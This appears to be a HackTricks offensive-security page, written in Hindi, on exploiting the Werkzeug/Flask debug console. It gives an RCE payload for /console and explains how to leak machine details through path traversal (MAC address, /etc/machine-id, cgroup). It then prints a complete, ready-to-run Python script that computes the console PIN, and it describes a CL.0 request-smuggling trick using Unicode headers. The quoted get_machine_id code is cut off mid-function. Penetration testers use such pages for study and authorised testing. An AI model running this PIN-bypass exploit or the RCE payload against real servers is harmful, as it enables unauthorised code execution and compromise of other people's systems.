Werkzeug / Flask Debug
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Console RCE
यदि डिबग सक्रिय है, तो आप /console
पर पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं।
__import__('os').popen('whoami').read();
इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे यह या मेटास्प्लॉइट में एक।
पिन सुरक्षित - पथ ट्रैवर्सल
कुछ अवसरों पर /console
एंडपॉइंट एक पिन द्वारा सुरक्षित होगा। यदि आपके पास फाइल ट्रैवर्सल वल्नरेबिलिटी है, तो आप उस पिन को उत्पन्न करने के लिए सभी आवश्यक जानकारी लीक कर सकते हैं।
Werkzeug कंसोल पिन एक्सप्लॉइट
ऐप में एक डिबग त्रुटि पृष्ठ को मजबूर करें ताकि आप इसे देख सकें:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (__init__.py
) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन Werkzeug स्रोत कोड भंडार से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है।
कंसोल PIN का शोषण करने के लिए, दो सेट के वेरिएबल्स, probably_public_bits
और private_bits
, की आवश्यकता होती है:
probably_public_bits
username
: उस उपयोगकर्ता को संदर्भित करता है जिसने Flask सत्र शुरू किया।modname
: आमतौर परflask.app
के रूप में नामित होता है।getattr(app, '__name__', getattr(app.__class__, '__name__'))
: आमतौर पर Flask में हल होता है।getattr(mod, '__file__', None)
: Flask निर्देशिका के भीतरapp.py
के लिए पूर्ण पथ का प्रतिनिधित्व करता है (जैसे,/usr/local/lib/python3.5/dist-packages/flask/app.py
)। यदिapp.py
लागू नहीं है, तोapp.pyc
का प्रयास करें।
private_bits
-
uuid.getnode()
: वर्तमान मशीन का MAC पता प्राप्त करता है, जिसमेंstr(uuid.getnode())
इसे दशमलव प्रारूप में अनुवादित करता है। -
सर्वर के MAC पते का निर्धारण करने के लिए, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे,
ens3
)। यदि अनिश्चितता हो, तो/proc/net/arp
लीक करें ताकि डिवाइस ID मिल सके, फिर/sys/class/net/<device id>/address
से MAC पता निकालें। -
एक हेक्साडेसिमल MAC पते को दशमलव में परिवर्तित करने के लिए नीचे दिखाए अनुसार किया जा सकता है:
# उदाहरण MAC पता: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
:/etc/machine-id
या/proc/sys/kernel/random/boot_id
से डेटा को/proc/self/cgroup
की पहली पंक्ति के साथ अंतिम स्लैश (/
) के बाद जोड़ता है।
Code for `get_machine_id()`
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
सभी आवश्यक डेटा को एकत्र करने के बाद, एक्सप्लॉइट स्क्रिप्ट को Werkzeug कंसोल PIN उत्पन्न करने के लिए निष्पादित किया जा सकता है:
सभी आवश्यक डेटा को एकत्र करने के बाद, एक्सप्लॉइट स्क्रिप्ट को Werkzeug कंसोल PIN उत्पन्न करने के लिए निष्पादित किया जा सकता है। स्क्रिप्ट एकत्रित probably_public_bits
और private_bits
का उपयोग करके एक हैश बनाती है, जो फिर अंतिम PIN उत्पन्न करने के लिए आगे की प्रक्रिया से गुजरती है। नीचे इस प्रक्रिया को निष्पादित करने के लिए Python कोड है:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (cookiesalt
और pinsalt
) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि probably_public_bits
और private_bits
के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो।
tip
यदि आप Werkzeug के पुराने संस्करण पर हैं, तो hashing algorithm को md5 में बदलने का प्रयास करें बजाय sha1 के।
Werkzeug Unicode chars
जैसा कि इस मुद्दे में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि इस लेखन में समझाया गया है, यह एक CL.0 Request Smuggling भेद्यता का कारण बन सकता है।
यह इसलिए है, क्योंकि Werkzeug में कुछ Unicode वर्ण भेजना संभव है और यह सर्वर को टूट देगा। हालाँकि, यदि HTTP कनेक्शन को Connection: keep-alive
हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का शरीर अगले HTTP अनुरोध के रूप में माना जाएगा।
Automated Exploitation
References
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।